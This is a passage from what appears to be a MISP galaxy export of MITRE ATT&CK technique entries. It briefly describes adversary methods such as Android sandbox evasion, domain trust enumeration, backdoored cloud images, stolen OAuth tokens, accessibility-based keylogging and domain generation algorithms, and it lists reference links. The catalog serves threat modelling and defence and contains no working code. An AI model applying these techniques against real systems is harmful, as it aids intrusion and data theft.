Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)

The tag is: *misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523"*

Table 8524. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/
https://attack.mitre.org/techniques/T1523
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://github.com/strazzere/anti-emulator
https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/
https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html

Conduct passive scanning - T1253

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1253).

Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct passive scanning - T1253"*

Table 8525. Table References

Links
https://attack.mitre.org/techniques/T1253

Fast Flux DNS - T1325

This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).

A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)

The tag is: *misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1325"*

Table 8526. Table References

Links
https://attack.mitre.org/techniques/T1325
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref

Subvert Trust Controls - T1632

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert.

The tag is: *misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1632"*

Table 8527. Table References

Links
https://attack.mitre.org/techniques/T1632
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html

Domain registration hijacking - T1326

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).

Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326"*

Table 8528. Table References

Links
https://attack.mitre.org/techniques/T1326
https://www.icann.org/groups/ssac/documents/sac-007-en

Mine social media - T1273

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1273).

An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Mine social media - T1273"*

Table 8529. Table References

Links
https://attack.mitre.org/techniques/T1273

Buy domain name - T1328

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1328).

Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Buy domain name - T1328"*

Table 8530. Table References

Links
https://attack.mitre.org/techniques/T1328

Identify business relationships - T1283

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1283).

Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283"*

Table 8531. Table References

Links
https://attack.mitre.org/techniques/T1283

Fake Developer Accounts - T1442

An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Fake Developer Accounts - T1442"*

Table 8532. Table References

Links
https://attack.mitre.org/techniques/T1442

Conduct active scanning - T1254

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1254).

Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct active scanning - T1254"*

Table 8533. Table References

Links
https://attack.mitre.org/techniques/T1254

System Information Discovery - T1426

Adversaries may attempt to get detailed information about a device's operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions.

On Android, much of this information is programmatically accessible to applications through the `android.os.Build` class. (Citation: Android-Build) iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running.

The tag is: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"*

Table 8534. Table References

Links
https://attack.mitre.org/techniques/T1426
https://developer.android.com/reference/android/os/Build
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html

Event Triggered Execution - T1624

Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim's system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.

The tag is: *misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1624"*

Table 8535. Table References

Links
https://attack.mitre.org/techniques/T1624

Identify supply chains - T1246

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify supply chains - T1246"*

Table 8536. Table References

Links
https://attack.mitre.org/techniques/T1246

Domain Trust Discovery - T1482

Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain

trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"*

Table 8537. Table References

Links
https://adsecurity.org/?p=1588
https://attack.mitre.org/techniques/T1482
https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944
https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/

Conduct social engineering - T1249

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1249"*

Table 8538. Table References

Links
https://attack.mitre.org/techniques/T1249

Stored Data Manipulation - T1492

Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492"*

Table 8539. Table References

Links
https://attack.mitre.org/techniques/T1492
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Implant Internal Image - T1525

Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim's environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525"*

Table 8540. Table References

Links
https://attack.mitre.org/techniques/T1525

https://github.com/RhinoSecurityLabs/ccat
https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/

Cloud Service Discovery - T1526

An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.

Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)

For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)

Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"*

Table 8541. Table References

Links
https://attack.mitre.org/techniques/T1526
https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview
https://docs.microsoft.com/en-us/rest/api/resources/
https://github.com/Azure/Stormspotter
https://github.com/RhinoSecurityLabs/pacu

Device Driver Discovery - T1652

Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g.,

[Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).

Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)

On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)

The tag is: *misp-galaxy:mitre-attack-pattern="Device Driver Discovery - T1652"*

Table 8542. Table References

Links
https://attack.mitre.org/techniques/T1652
https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys
https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery
https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers
https://linux.die.net/man/8/modinfo
https://man7.org/linux/man-pages/man8/lsmod.8.html
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf

Hijack Execution Flow - T1625

Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time.

There are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1625"*

Table 8543. Table References

Links
https://attack.mitre.org/techniques/T1625
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html

Identify supply chains - T1265

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify supply chains - T1265"*

Table 8544. Table References

Links
https://attack.mitre.org/techniques/T1265

Application Access Token - T1527

Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Access Token - T1527"*

Table 8545. Table References

Links
https://attack.mitre.org/techniques/T1527
https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/

Determine firmware version - T1258

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1258).

Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine firmware version - T1258"*

Table 8546. Table References

Links
https://attack.mitre.org/techniques/T1258

Identify supply chains - T1276

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1276).

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify supply chains - T1276"*

Table 8547. Table References

Links
https://attack.mitre.org/techniques/T1276

Conduct social engineering - T1268

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1268).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1268"*

Table 8548. Table References

Links
https://attack.mitre.org/techniques/T1268

Assess targeting options - T1296

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1296).

An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess targeting options - T1296"*

Table 8549. Table References

Links
https://attack.mitre.org/techniques/T1296

Analyze data collected - T1287

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1287).

An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze data collected - T1287"*

Table 8550. Table References

Links

https://attack.mitre.org/techniques/T1287

Conduct social engineering - T1279

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1279).

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering - T1279"*

Table 8551. Table References

Links
https://attack.mitre.org/techniques/T1279

Access Call Log - T1433

On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.

On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Call Log - T1433"*

Table 8552. Table References

Links
https://attack.mitre.org/techniques/T1433
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Create backup infrastructure - T1339

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1339).

Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Create backup infrastructure - T1339"*

Table 8553. Table References

Links
https://attack.mitre.org/techniques/T1339

Remotely Install Application - T1443

An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.

Platforms: Android

The tag is: *misp-galaxy:mitre-attack-pattern="Remotely Install Application - T1443"*

Table 8554. Table References

Links
https://attack.mitre.org/techniques/T1443

Abuse Accessibility Features - T1453

Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device's user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview)

One example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021)

Another example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features.

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453"*

Table 8555. Table References

Links
https://attack.mitre.org/techniques/T1453

https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA
https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data

Access Calendar Entries - T1435

An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435"*

Table 8556. Table References

Links
https://attack.mitre.org/techniques/T1435
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Create custom payloads - T1345

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1345).

A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345"*

Table 8557. Table References

Links
https://attack.mitre.org/techniques/T1345

Manipulate Device Communication - T1463

If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).

The tag is: *misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463"*

Table 8558. Table References

Links
https://attack.mitre.org/techniques/T1463
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html
https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html

Commonly Used Port - T1436

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.

They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

The tag is: *misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436"*

Table 8559. Table References

Links
https://attack.mitre.org/techniques/T1436

Application Layer Protocol - T1437

Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the mobile device, and often the results of those commands, will be embedded within the protocol traffic between the mobile device and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1437"*

Table 8560. Table References

Links
https://attack.mitre.org/techniques/T1437
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html

Domain Generation Algorithms - T1483

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483"*

Table 8561. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://csis.pace.edu/}ctappert/srd2017/2017PDF/d4.pdf
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://arxiv.org/pdf/1611.00791.pdf
https://attack.mitre.org/techniques/T1483
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Transmitted Data Manipulation - T1493

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493"*

Table 8562. Table References

Links
https://attack.mitre.org/techniques/T1493
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Subvert Trust Controls - T1553

Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.

Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates)

The tag is: *misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1553"*

Table 8563. Table References

Links
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates

https://attack.mitre.org/techniques/T1553
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Revert Cloud Instance - T1536

